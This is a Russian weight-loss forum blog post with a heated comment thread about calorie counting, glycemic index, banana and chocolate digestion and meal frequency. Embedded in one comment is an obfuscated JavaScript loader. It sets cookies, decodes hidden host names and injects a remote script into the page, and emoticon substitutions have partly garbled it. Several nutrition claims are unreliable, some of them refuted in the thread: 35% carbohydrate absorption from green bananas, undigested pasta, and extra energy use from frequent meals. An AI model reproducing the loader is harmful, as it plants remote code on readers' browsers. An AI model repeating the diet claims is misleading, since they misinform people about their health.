03.10.2015 04:52

Провокация, камень в огород, пища к размышлению...

Суть питания по программе МЗР сводится к соблюдению коридора калорийности, щепетильному подсчету КБЖУ, что в результате, казалось бы, должно привести к качественному похудению и навсегда.

Мои "экспериментальные" опыты над телом начались еще в школе, когда я, будучи полной девочкой, решила вдруг обрести презентабельный вид. Что я сделала. По сути, я интуитивно применила метод МЗР, я просто любую предлагаемую мне еду делила на 2 и съедала только половину. Сразу замечу, что это неправильно и эффективно было лишь потому что организм был растущий, и худеть было проще пареной репы.
К 18 годам мой бурный рост и перестройки были завершены, и вес пошел в гору. Худеть стало на порядок сложнее, чем прежде. И я начала "гнать" по системам питания, именно здорового и правильного. С табличками, калориями, витаминками и проч.

Все популярные сайты говорили примерно одно и то же. Соблюдай меру в калориях - и будет счастье.
С тех пор минуло почти 10 лет, я наблюдала за реакцией своего организма на те или иные методы питания, и хочу поделиться бесценным опытом.
Наблюдение 1. Не массой единой определяется красота женщины.
Масса тела не говорит о его красоте. Мышцы тяжелее жира! Вывод: цифры на весах помогают ориентироваться, но лишь в начале пути к красивой фигуре. Мы же хотим получить не массу тела, а красоту. Пропорции тела решают. Глазу приятны правильные пропорции. Их секрет заключен в правилах золотого сечения, открытого Да Винчи, однако это требует отдельной темы. Я нашла достаточно информации на тему пропорциональности, однако, вы не ошибетесь, приняв за идеал фигуру песочные часы. Так что нужно брать на вооружение сантиметровую ленту.
Наблюдение 2. ИМТ. Смешной показатель. Меня удивляет, что авторы МЗР, хотя и признают в мягкой форме его абсурдность, опираются на него, давая рекомендации к тому, сколько есть, и худеть ли мне вообще. Стоит привести цифры: 172/55. При росте 172 мой "нормальный" вес колеблется в пределах 62,1 - 54,7 кг. Это совершенно два разных человека. Я весила и так, и так. Ощущения при 62 отвратительные, чувствуешь себя неповоротливой, тяжело носить себя. Конечно же, есть люди, запустившие свой вес глубоко "за", но позвольте я ограничусь лишь своим опытом, который даже в рамках нормальности мне говорит о многом.Факт. Мышцы тяжелее жира, ИМТ этого не учитывает. Два человека с одинаковым ростом и весом (два близнеца, коль хотите) будут выглядеть совершенно по-разному, если один из них имеет развитую мускулатуру, а второй, как большинство, занимался спортом в последний раз в школе на уроках физры.
Вывод. ИМТ во внимание не принимать. Следовательно, рекомендации, данные на основании ИМТ - тоже.
Наблюдение 3, и самое главное. Шоколад 600 ккал в день и несладкая еда на те же 600 ккал дают РАЗНЫЙ отвес. А точнее в случае с шоколадом - привес. Разные продукты даже с одинаковым количеством углеводов по КБЖУ по-разному усваиваются. Так, глюкоза в чистом виде усваивается на 100%, а в незрелом банане все содержащиеся в нем углеводы усваиваются только на 35%! То есть если я съем сникерс 491 ккал (100 грамм) и бананов на 491 ккал (555грамм при калорийности 89ккал), то в первом случае усвоится 60% углеводов, а во втором только 35%.Здесь подробнее.
Вывод: Необходимость отказа от сахаросодержащих продуктов. Безапелляционно.
Наблюдение 4. Дробность питания необходима, так как съедая в один присест тот же сникерс, я затрачу, допустим, единицу энергии. А съев в течение целого дня шесть бананов на те же калории, я затрачу, грубо говоря, 6 единиц энергии. Да еще плюс ко всему, углеводов усвоится в разы меньше, чем от шоколадки. Конечно, вы понимаете, что это утрированно, но за большей привязкой к цифрам по затрате калорий при дробном питании вы можете обратиться к дополнительной литературе, или просто погуглить.
Наблюдение 5. Контроль размера порции позволяет держать себя в руках при незапланированных праздниках живота. Привыкнув есть часто и дробно, помалу, сидя за праздничным столом, я не могу впихнуть в себя таз оливье, картошку по-французски, три литра колы и торт. Чтобы попробовать все, приходится хитрить, брать микропорции салата, кусочек мяса, а кола вообще под запретом. И когда мои "коллеги" по застолью начинают опираться на соседний стул от обжорства, я просто сыта и довольна.
Добиться такого можно соблюдая правило дробности и полезности.
Наблюдение 6. Здоровая и правильная еда настолько хороша, что не требует тотального подсчета калорий. Посудите сами. Если вы едите те же бананы вместо шоколада, творог вместо гамбургера, печеные яблоки вместо торта, не едите сахар и сдобу, истребили в рационе фаст-фуд и вредные сладости, то ознакомившись с усвоением БЖУ из здоровой правильной пищи, будете удивлены, что съедая одни и те же калории разными продуктами, в одном случае будете худеть,в другом "топтаться на месте" или неожиданно набирать.
Польза от подсчета калорий появляется лишь при осознании всех тонкостей усвоения своим организмом этих пресловутых КБЖУ. Так же приложение МЗР отличный сдерживающий фактор - много видела здесь людей, которые с МЗР начинают умерять аппетиты и поэтому худеют.

Итак, чтобы все "работало", еда должна быть порционно отмеренной, здоровой, дробно употребляемой.

100

Ksan 03.10.2015 07:08

Натали 03.10.2015 07:29

Поучительно,есть над чем поразмышлять С улыбкой

,с дробным согласна на 100!

светлана христова 03.10.2015 10:28

хороший пост. Я так и делаю--- Все печеньки, и все тортики, и булочки заменила фруктами и сухофруктами. Уже давно.Здоровое питание может быть очень вкусным.Конечно я позволяю себе и всякие сладости, но это не есть мой постоянный образ жизни.

med-ved 03.10.2015 10:32

CCskre

OL Lavra написал:
а в незрелом банане все содержащиеся в нем углеводы усваиваются только на 35%!

Это сказки, чтобы не сказать "вранье".
Не верьте, вам врут.

med-ved 03.10.2015 10:40

OL Lavra написал:
Шоколад 600 ккал в день и несладкая еда на те же 600 ккал дают РАЗНЫЙ отвес.

Не верьте. Вам не то, чтобы врут, но это верно только для "жестко диетящихся", истощивших свой гликоген низкоуглеводкой или голодухой.. Восстанавливающийся гликоген на каждые 100г гликогена утягивает 400г воды.
Плэтому "Отвес" относится не к жиру, а к воде.
У меня, как человека, нормально питающегося, от 600 ккал шоколада и 600 ккал мяса отвес одинаковый, а именно нулевой, если калории потребляемые равны потраченным
Хуже того, при серьезных нарушениях, отвес после низкоуглеводки вызывается сладостями еще по нескольким (биохимическим и гормональным) причинам, в первую ояередь, вследствие неадекватной работы почек. Спросите бодибилдеров после "сушки", как их "заливает" от сладостей или даже просто углеводов.

med-ved 03.10.2015 10:44

OL Lavra написал:
Итак, чтобы все "работало", еда должна быть порционно отмеренной, здоровой, дробно употребляемой.

Это вранье.
Похудеть можно и на чипсах с печеньем, а дробность питания на похудение вообще никак не влияет.

Анастасия 03.10.2015 11:51

med-ved написал:
а в незрелом банане все содержащиеся в нем углеводы усваиваются только на 35%!
Это сказки, чтобы не сказать "вранье".

Сказки сказками, но вроде же как раз в зелёных бананах (и охлаждённой варёной картохе) часть углеводов присутствует в виде т.н. resistant starch (хз как оно по-русски), то есть функционально приравнивается к клетчатке?
Так что это скорее не враньё, а испорченный телефон и передёргивание фактов.

светлана христова 03.10.2015 12:00

Думаю мы все очень индивидуальные, и то что работает у вас, не факт что будет работать у меня.И так для всех. Вы от чипсов похудеете, а другой от них не только наберет вес, но и испортит поджелудочную, печенку и заработает язву желудка

med-ved 03.10.2015 12:06

Анастасия написал:
Так что это скорее не враньё, а испорченный телефон и передёргивание факто

Это передергивание в конкретную сторону, так что я бы сказал "вранье".
По вашей ссылке medium banana содержит 4,7г этого "resistant starch", при том что по данным USDA medium banana содержит 26.9 г углеводов.
Ну какие к черту "усваивается 35%?"
То есть при честном подсчете усвоится 83% углеводов. И все это для тех, кто ест ЗЕЛЕНЫЕ бананы. Извиняюсь, но мы едим нормальные, зачем притягивать незрелые плоды?

Анастасия 03.10.2015 12:10

med-ved написал:
То есть при честном подсчете усвоится 83% углеводов. И все это для тех, кто ест ЗЕЛЕНЫЕ бананы. Извиняюсь, но мы едим нормальные, зачем притягивать незрелые плоды?

Это понятно =) тут из серии «слышал звон, что что-то где-то не усваивается». Конечно, я не спорю с тем что высказывание и 35% полный неадекват.

med-ved 03.10.2015 12:20

Limon99 03.10.2015 12:22

OL Lavra, размышления интересные. Насчёт сладостей придерживаюсь вашей позиции -- уже год как исключил их на фиг -- не страдаю и голова по этому поводу не болит. С контролем за объёмами еды, причём постоянным, согласен, ибо "бывших алкоголиков не бывает" (с) С улыбкой

. Постепенно, чувствую, программа контроля "вшивается" куда-то в мозг. А вот в дробности питания не вижу смысла, т.к. трёхразовое уже дробное С улыбкой

. Недробное это один раз в день через день Широкая улыбка

Mr&Mrs 03.10.2015 13:11

med-ved, пускай я не бодибилдер но вес перед соревнования приходиться сгонять. А именно перед взвешиваниями (утром), а после опять форсировано набираем, к вечеру. И за счет углеводов+воды некоторые возвращают до 10кг.

med-ved 03.10.2015 13:33

Mr&Mrs StAnka написал:
И за счет углеводов+воды некоторые возвращают до 10кг.

Вот я про это и пишу, что люди, плотно сидящие на низкоуглеводке, обычно уверены, что "от углеводов пухнут".
Реально те, кто не ограничивает углеводы, никак не замечает, съел ли он 150 граммов углеводов или 350, что приводит приверженцев аткинса, монтиньяка и пр. в изумление, почему их разносит от одного пирожка на полкило-килограмм...

светлана христова 03.10.2015 14:26

На счет бананов--- я знаю что они калорийные, но за счет того что в них много клейчатки, они быстро выводятся с огранизма, поэтому все их коллории не усваиваются. Так же происходит с макаронами из твердых сортов, чуть недоваренными, они тоже практически не усваиваются и выводятся такими практически, как вы их сьели. А вот сытость наступает Поцелуй

светлана христова 03.10.2015 14:29

Поэтому если вы от мучного отказались - то можно купить пачку макарон из твердых сортов пшеницы. Они конечно дороже раза в 2 но моральное удовлетворение получите, главное их варить только 5-7 мин.Чтоб они чуть твердыми оставались.

OL 03.10.2015 14:30

med-ved написал:
для тех, кто ест ЗЕЛЕНЫЕ бананы. Извиняюсь, но мы едим нормальные, зачем притягивать незрелые плоды?

Я ЕМ ЗЕЛЕНЫЕ БАНАНЫ. И их считаю нормальными. Специально иду в магазин и беру зеленые, недоспелые. Желтые реже, когда нет зеленых. А если появились крапинки, меня от этих бананов воротит, они слишком приторные. Не стоит свое "просто мнение" вменять в закон и истину.

med-ved написал:
Вот я про это и пишу, что люди, плотно сидящие на низкоуглеводке, обычно уверены, что "от углеводов пухнут".

Сахар-песок, да будет вам известно, не единственный углевод. Я призываю лишь к отказе от сладкого - содержащего сахар-песок (газировка, торты, шоколадки). Напротив, мой рацион состоит преимущественно из углеводов (крупы- каши- злаки, бакалея, овощи, фрукты, хлеб). Остальное - молочка, орехи.
Пухнут от переизбытка углеводов. А употребление кондитерских изделий как раз к оному и приводит, ведь сладкое только провоцирует аппетит (у меня лично!), и через час после сникерса хочется сожрать мамонта. И благоразумно вывести подобные продукты из своего повседневного рациона, оставим им место только на большие праздники.

med-ved написал:
Плэтому "Отвес" относится не к жиру, а к воде.

Задержка лишней воды в организме - не в порядке вещей. В некоторых случая с ней кладут в больницу и заставляют есть правильно. Эстетически опухшее лицо и заплывшие веки тоже не привлекательны. Поэтому еще один плюс в пользу отказа от сладкого ("сахарного" Подмигиваю

.
med-ved,
мне, как и многим наверное, интересно, откуда вы знаете "истину"? Вы врач? КМН? ДМН?

med-ved написал:
Это вранье.

Похудеть можно и на чипсах с печеньем, а дробность питания на похудение вообще никак не влияет.

Вы полагаете, что энергозатраты при дробном питании такие же, как при одноразовом? С улыбкой

Я без издевки, не подумайте, просто критикуя, вы не ссылаетесь на источники, где сказано правильно. Вы говорите "нет, все работает по-другому, это вранье" без объяснения.

Похудеть можно на чипсах. Можно на конфетах. Не получая при этом и доли необходимых микронутриентов!
Но люди обращаются сюда, как и на другие сайты, не только с целью "схуднуть", но и остаться при этом здоровыми, а не потерять вместе с жиром желудок, поджелудочную, печень, весь ЖКТ, в общем-то.

OL 03.10.2015 14:34

med-ved, "вижу, что хочу видеть", да? Я пишу, "чтобы все работало", а вы чтобы "похудеть". Мои цели давно вышли за исключительно истощение организма. Напротив, я борюсь за его здоровье.

OL 03.10.2015 14:43

Limon99, дробность скорее вторична по отношению к размеру порции. Если следить за тем, чтобы не объедаться за один прием пищи, то размер порции у меня (кроме воды) граммов 250-300. При том, что эти граммы относятся к правильной еде, они не содержат в себе убойную дозу калорий. Поэтому, если за один прием пищи я получаю около 250-300 ккал (при включении в рацион чего-то эдакого - до 400ккал), то и получается, чтобы не голодать, нужно кушать от трех до 6 раз в день, в зависимости от того, что ты ешь.
К тому говорю, что не делю один банан на 6 кусков))) А разумно еду распределяю в зависимости от калорийности.

Денис 03.10.2015 15:04

тут же сказано обращайтесь к врачам (например диетолог) а это так красивый фантик

Limon99 03.10.2015 15:11

OL Lavra написал:
следить за тем, чтобы не объедаться за один прием пищи

Это сказано не один раз, но древняя формула настолько эффективна и проста -- вставать из-за стола с лёгким чувством голода -- что всегда хочется подвесить к ней какие-нибудь погремушки Широкая улыбка

OL 03.10.2015 15:15

Денис Моисеев, никто не спорит)) в том и дело, что нужно очень хорошо понимать, что делаешь. Один лишь дефицит калорий к здоровой стройности не приведет.

med-ved 03.10.2015 15:21

OL Lavra написал:
Я ЕМ ЗЕЛЕНЫЕ БАНАНЫ. И их считаю нормальными. Специально иду в магазин и беру зеленые, недоспелые. Желтые реже, когда нет зеленых. А если появились крапинки, меня от этих бананов воротит, они слишком приторные. Не стоит свое "просто мнение" вменять в закон и истину.

Молодец, но вас все равно это прямой обман: не 35%, а 83%.

med-ved 03.10.2015 15:22

OL Lavra написал:
Вы полагаете, что энергозатраты при дробном питании такие же, как при одноразовом?

Не я предполагаю, а множественные эксперименты это доказали

Анастасия 03.10.2015 15:32

OL Lavra написал:
Вы полагаете, что энергозатраты при дробном питании такие же, как при одноразовом?

А с чего бы им отличаться при равном количестве и составе съеденного? Я около года провела именно на одноразовой питании, и это было классно (в тот период времени, для моего организма, режима работы, семейного положения и т.п.).

Не новая я 03.10.2015 15:56

Согласна только частично.
Насчёт дробного питания- мне не подошло. Когда ешь понемногу но часто, я лично всегда ощущаю себя голодной.

OL 03.10.2015 16:23

Анастасия, помимо энергозатрат, существенное значение имеет распределение калорийности в течение дня.

Анна Овчинникова написал:
Когда ешь понемногу но часто, я лично всегда ощущаю себя голодной.

А это уже привычка есть большими порциями. О преимуществах маленьких порция я уже писала.
Многие, напротив, плотно позавтракав, целый день мучаются от голода, а потом объедаются на ужин.
Или еще хуже, не завтракая, ходят голодными до вечера, ожидая окончания рабочего дня. Едва ли это хорошо.

Ника 03.10.2015 16:33

med-ved, поддерживаю полностью. Кто про что, а я про любимые шоколадки. Ем и худею!

Анастасия 03.10.2015 16:34

OL Lavra написал:
Или еще хуже, не завтракая, ходят голодными до вечера, ожидая окончания рабочего дня. Едва ли это хорошо

…при этом в течение дня полно энергии, отличное настроение, прекрасная концентрация внимания на работе. А вечером — можно никуда не торопиться, готовить вкусную здоровую еду (куча времени, никто не дёргает!), собираться семьёй за столом и т.п.

Конечно, это преувеличение. Такой эффект будет далеко не у всех. Некоторым вообще не очень полезно проводить слишком долго без еды. Точно так же и маленькие порции и дробное питание — подойдёт одним и не подойдёт другим. Вам подходит — прекрасно! Но не факт что это лучший вариант для другого человека.

Остапенко Лилия 03.10.2015 17:19

OL Lavra написал:
Итак, чтобы все "работало", еда должна быть порционно отмеренной, здоровой, дробно употребляемой.

Просто нужно добавить:"Я сделала для себя выводы"window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

med-ved 03.10.2015 18:07

Остапенко Лилия написал:
Просто нужно добавить:"Я сделала для себя выводы"

Ну да. И выводы №3, №4, - неверны в принципе, а №6 неверен для большинства.
То, что она называет "тонкостями усвоения" - это конкретный обман, выложенный где-то в сети какими-то маньяками очередной суперсистемы.
Когда на конкретный обман с бананом - 35% вместо 83% ей указали, она не сказала "спасибо, я поняла, что это чушь", а продолжила гнать пургу по следующим пунктам.

Алексей 03.10.2015 18:25

med-ved, Ого, вот это, что называется, "ВНЕЗАПНО" - я про эксперименты с дробным питанием. Спасибо за ссылку!

med-ved 03.10.2015 18:45

светлана христова написал:
Так же происходит с макаронами из твердых сортов, чуть недоваренными, они тоже практически не усваиваются и выводятся такими практически, как вы их сьели.

вранье. они усваиваются отлично. Не верьте в каждый бред, который написан в сети.

светлана христова 03.10.2015 19:50

диетолог не врет.

med-ved 03.10.2015 20:01

светлана христова, значит, он профнепригоден, если добросовестно заблуждается.

Либо вы что-то не так поняли. Возможно, он говорил "не так быстро усваиваются" - это чистая правла, чем меньше варить, тем ниже ГИ, к тому же в твердых сортах пшеницы много глютена, он тоже замедляет переваривание.
Но если он и вправду сказал " не усваиваются и выводятся такими практически, как вы их сьели." - бегите от этого недоумка.

OL 04.10.2015 03:21

med-ved написал:
Когда на конкретный обман с бананом - 35% вместо 83% ей указали, она не сказала "спасибо, я поняла, что это чушь", а продолжила гнать пургу по следующим пунктам.

Хамло.

Я вам прямой вопрос задала, кто вы, врач(?), чтобы ваше мнение считать авторитетным и правильным по сравнению с теми авторами, у которых я эти цифры взяла? Мне честно говоря говорить с вами тошно, ибо вы не дискутируете а нападаете. Если вы убеждены в своей правоте, то следует обосновывать свои постулаты.
"Пургу гоните" вы, а я пишу выводы-наблюдения в своем блоге о своей практике питания, о себе. И говорю лишь о том, что мне помогло быть такой, какая я сейчас. И я убеждена как и прежде, что
1) привычка есть небольшими порциями, а следовательно чаще (читайте - дробно) приводит к отсутствию обжорств, таким образом, и способствует снижению веса
2) заменяя фруктами и овощами чипсы и шоколадки, будешь здоровее и стройнее. Кто не согласен, докажите обратное ("я потолстела на кабачках и яблоках, помогите!!!" - не, не слышала) Хихикаю

3) вы в своем блоге, med-ved, помнится, сами писали о том, что усвоение нутриентов из продуктов происходит не полностью и по-разному (я пробежалась по вашей заметке про веганское питание).
Я склонна придерживаться мнения (и это не мои фантазии), что углеводосодержащие продукты усваиваются тоже по-разному (это подтвержает практика моего стремительного похудения, когда я заменила сладости к чаю на бананы).
И врать мне тут уж точно ни к чему. Смысл? Не-а

Для диабетиков даже есть некий гликемический индекс.
"Гликемия – это количество глюкозы (или «сахара»), содержащейся в крови. Натощак гликемия человека составляет примерно 1 грамм глюкозы на литр крови. Когда в организм поступает продукт, содержащий углеводы, при его переваривании образуется глюкоза, которая, проникая в кровь, повышает гликемию (то есть вызывает временную гипергликемию). Уровень глюкозы в крови - чрезвычайно важный параметр регулирования веса. Дело в том, что повышение гликемии - следствие переваривания углеводов - вызывает выработку гормона инсулина, количество которого определяет, будет ли приведён в действие механизм набирания веса или нет.
Гликемический индекс продукта выражает, насколько данный продукт повысит
уровень гликемии при поступлении в организм человека."
"Значение гликемического индекса продукта является результатом сравнения
гипергликемии, вызываемой этим продуктом, с гипергликемией, вызываемой
чистой глюкозой."
"Съедая продукт, обладающий высоким гликемическим индексом, поджелудочная
железа начинает быстро выделять гормон инсулин, в реакцию на резкий
скачок сахара в крови. Этот гормон имеет 2 функции в организме каждого
человека: первое - это понижает уровень сахара в крови, второе - не дает
жировой массе снова преобразовываться в глюкозу, которую организм сразу
сжигает."
"Итак, гликемический индекс продукта показывает величину гипергликемии, вызываемой данным продуктом при его поступлении в организм человека; другими словами, ГИ выражает то количество глюкозы, которое образуется при переваривании продукта. Можно также сказать, что ГИ показывает
степень биодоступности углеводсодержащего продукта для его усвоения
организмом в форме глюкозы. "
Так вот отсюда я беру эти пресловутые 35 ГИ незрелого банана, спелого 60, приготовленного 70(в разных таблицах цифры могут незначительно отличаться).
Кто любит абрикосы - прошу вас ГИ=30.
Я не стала подробно писать с самого начала об инсулине, чтобы быть краткой.
Но med-ved не оставляет шансов) Что ж, "провокация, камень в огород" на славу. Итак, ГИ шоколадок выше, чем у незрелого банана. ГИ Марса, сникерса = 65.

Ну что ж, спасибо, что заставили перерыть меня еще кучу табличек с ГИ, чтобы определить наверняка, что ошибки с бананом и шоколадкой не было. Хорошо

OL 04.10.2015 03:33

Остапенко Лилия, если бы вы внимательнее читали, то для себя обнаружили, что все мои выводы основаны на моих же наблюдениях, и это все выделено аж жирным шрифтом.

OL Lavra написал:
С тех пор минуло почти 10 лет, я наблюдала за реакцией своего организма на те или иные методы питания, и хочу поделиться бесценным опытом.
Наблюдение 1. (...)

Остапенко Лилия написал:
Просто нужно добавить:"Я сделала для себя выводы"

куда что еще добавить?

Валентина 04.10.2015 04:03

OL Lavra написал:
кто вы, врач(?), чтобы ваше мнение считать авторитетным и правильным по сравнению с теми авторами

А вы кто? И про каких авторов говорите? То пишете что это чисто ваши наблюдения и отсебятина, то ОПА и уже авторы вылезли... ни имени, ни фамилии, ни звания...
Не нравится программа - проходите мимо, не портите с утра настроение тем кто голову в порядок приводит.
Тут с такими пищевыми нарушениями порою народ собрался, что 600 калорий из шоколада - это мелочи...

Валентина 04.10.2015 04:22

Даете ссылку на сайт Монтиньяка, он же считает ГИ шоколада 20.... ниже чем у зеленого банана.

Юлия Дружинина 04.10.2015 09:11

я считаю, что если Вы выкладываете свои наблюдения, то необходимо добавлять фразы типа "Я считаю" и "Мне кажется", а не объявлять себя истиной в последней инстанции. Так же непонятны Ваши наезды на med-ved, типа "Кто вы такой?". на самом деле ссылок на авторов, которых Вы так рьяно защищаете, Вы не даете, да и если бы давали, то общеизвестно, что сколько людей, столько мнений, и если много лет весь мир верил в П.Брега и его "Чудо голодания", то уже давно доказано, что это вовсе не полезно...
Действительно, зачем Вы людям настроение с утра портите?

med-ved 04.10.2015 10:12

OL Lavra написал:
Я вам прямой вопрос задала, кто вы, врач(?), чтобы ваше мнение считать авторитетным и правильным по сравнению с теми авторами,

Извините, чтобы проверить цифры по самой крупной и полной в мире базе данных, не надо быть врачом или ученым. Я вам ссылки прямо не продукт в USDA дал

med-ved 04.10.2015 10:15

OL Lavra написал:
Так вот отсюда я беру эти пресловутые 35 ГИ незрелого банана,

Извините, но если вы настолько неграмотны, что не понимает разницы между "усваивается на 35%" и "ГИ продукта 35%" , я даже не знаю что сказать.
Читайте учебник.

med-ved 04.10.2015 10:18

Если вы все же хотите понять, что такое ГИ, и лень читать литературу, я вам могу кратко объяснить.
Но не позорьтесь, прочитав, что ГИ=35 и рассказывая, что продукт усваивается на 35%

Валерия 04.10.2015 10:31

med-ved,

med-ved написал:
Не я предполагаю, а множественные эксперименты это доказали

Спасибо за ссылку! Мне эта информация была очень полезна! Хорошо

OL 05.10.2015 11:42

med-ved, то, на что я ориентировалась, я вам уже в комментариях написала. Знаю, что такое ГИ. Отражает уровень глюкозы в крови как реакцию на поступивший продукт. Этот уровень влияет на выработку инсулина. Инсулин, как написано в прочитанной мною статье, отвечает в частности за пополнение жировых запасов и препятствует их расщеплению. Чем выше ГИ, тем "яростнее" он это делает. И я не путаю усвоение продукта полностью и реакцию, которая измеряется гликемическим индексом. Я лишь согласилась с автором статьи.
Согласилась потому, что, как и написано в моем посте, МОИ НАБЛЮДЕНИЯ я объясняю как раз тем, что данные продукты (шоколадный батончик и банан) обладают разными свойствами, по-разному мой организм реагирует на них. А как именно реагирует, я нашла ответ в статье. Что кондитерская сладость якобы "быстро" отложилась в жирок, а банан, не вызвав такой реакции у организма, нет.

Если вы настаиваете, что там "вранье", а мне важно знать, что да как, то лучшим комментарием было бы "в книжке Такой-то автора Такого-то, являющегося заслуженным врачом всея Руси (Мира, Вселенной и Вообще), есть информация, которая развеет ваши заблуждения насчет бананов и шоколада". Согласитесь, было бы более правильно? Ведь я, делая этот пост, указала, что это мои наблюдения и мои выводы и даже дала ссылку на ресурс.

Еще раз подчеркну, ваши познания я ставлю под большой вопрос не из личной неприязни, а исходя из того, что вы Noname из интернета.
И ваши "не позорьтесь", "пургу несет" не делает вам чести, айяяй.

OL 05.10.2015 11:44

Валентина vellory, шоколад в той таблице, и шоколад который я имею в виду - разные продукты. Я пишу о шоколадном батончике сникерс/марс. Данные о них так же есть в таблицах с ГИ

OL 05.10.2015 11:49

Юлия Дружинина, вообще-то ссылки есть. И про то, что это мое мнение, черным по белому написано. Не согласны с моим мнением, пожалуйста. Я не врач. Но если кто-то спорит, то прошу подробного ответа "что да как", потому как сказать "ты не прав" горазд каждый, а дать нормальный развернутый ответ - сразу сыпятся оскорбления и уличения в неграмотности "да я даже не знаю что и сказать, раз вы такая-сякая".

OL 05.10.2015 12:23

Валентина vellory, не нравится пост - брысь из моего блога Заскучала

Валентина vellory написал:
Не нравится программа - проходите мимо, не портите с утра настроение тем кто голову в порядок приводит.

Ссылка была с самого начала, авторы очевидны при переходе по ссылке Широкая улыбка

Я вам порчу настроение? Увольте! Все в ваших руках Подмигиваю

Знаете, почему люди злые с утра? Люди недовольны собой и своей жизнью. Люди, доказывающие, что "в интернете кто-то не прав", люди несчастные. Да ладно если б доказывали, а то один сказал "нет", другие только и поддакивают.

Я пишу в блоге и делюсь радостью, мол, девочки-мальчики(!), смотрите, что мне помогло быть здоровой и стройной. И налетели коршуны))
А я за здоровую дискуссию.
Вам нравится считать калории, и я вам не говорю, что это не поможет похудеть)) Я говорю, что тупо дефицит калорий - опасное развлечение при низком калораже, когда надо сделать рацион полноценным, а шоколадка сникерс занимает ПОЛОВИНУ суточной нормы. Надо все делать с умом. Да, вы похудеете на шоколадках до определенного момента.
И если ваша мечта не 90-60-90, то в принципе и будет с вас, а такие заморочки нужны лишь тем, кто хочет тело молоденькой девушки, красивую кожу, здоровые органы. Какие тут к черту чипсы?

med-ved 05.10.2015 12:26

OL Lavra написал:
Инсулин, как написано в прочитанной мною статье, отвечает в частности за пополнение жировых запасов и препятствует их расщеплению. Чем выше ГИ, тем "яростнее" он это делает. И я не путаю усвоение продукта полностью и реакцию, которая измеряется гликемическим индексом.

Нет, путаете. если точно считать, то от ГИ ожирение не зависит, а зависит от калорий. А будет инсулин "яростно это делать" 1 час или "медленно это делать" 5 часов, разультат будет тот же.(для здорового человека)

med-ved 05.10.2015 12:29

OL 05.10.2015 12:32

med-ved, Добилась я-таки чего хотела -ответа) ну ведь не сложно же! плюсую Подмигиваю

Евгения Мяу 05.10.2015 12:36

Автору Спасибо большое за прекрасную статью.

Евгения Мяу 05.10.2015 12:39

OL Lavra, молодец! med-ved, и Валентина vellory, хамство здесь не приветствуется.

OL 05.10.2015 12:44

Дорогой медведь, вы поумерьте амбиции Широкая улыбка

Спасибо за информацию про инсулин. А "выбивать" хоть что-то из вас пришлось 2 дня. А вот про разницу между кондитеркой и фруктами я напишу свой обзор попозже, и буду ждать вашего "разноса".

Вы смещаете акцент на калории, а я на эффект от употребления разных продуктов - уходят ли они в жирок одинаково ?? Я ведь не сижу и не жду несколько часов, пока мой банан отложится в боках. Я съедаю одинаковое количество калорий, которые вызывают разный уровень сахара в крови, так вот в чем вопрос: одинаково ли они отложатся в запасы при условии, что я не лежу бревнышком, а как все нормальные люди двигаюсь в течение нескольких часов? Ведь шоколадка "яростно" принимается организмом, а банан не очень.

med-ved 05.10.2015 12:57

светлана христова 05.10.2015 13:14

Думаю рассуждения только о каллорийности и усваиваимости продуктов с целью жиросжигания вещь не полная, и простыми зарядками и тренировками решается слабо.

светлана христова 05.10.2015 13:23

Почему я это говорю. Когда вы сьедаете сникерс, или чипсы, у вас в кровь выбрасывается огромное колличество сахара, Пик его держиться короткое время, потом он резко падает и у вас возникает понятие ЖОР. Падает, потомучто ваша поджелудочная в шоке от полученного колличества сахара, начинает его срочно в жировые запасы откладывать , чтоб вашу кровь очистить . От этого и наступает ЖОР. А если вы сьедите банан или яблоко или овощь или фрукт - такого пика не будет и жор не настанет. ЖОР настает после принятия коротких углеводов которые вызывают в крови сильный скачок уровня сахара.
думаю дыня, зрелые бананы, виноград, и все сильно сладкие фрукты тоже вызывают скачок сахара. А если вы не хотите чтоб на вас жор нападал ешьте продукты с низким или средним ГИ (гликимическим индексам) И тогда вам сразу станет понятно польза живой пищи, в сравнении с мертвой, переработанной с добавками всяких там ешек, стабилизаторов, эмульгаторов и консервантов.

светлана христова 05.10.2015 13:25

Добавляю ссылку на мой пост http://www.woman.ru/health/diets/article/89838/
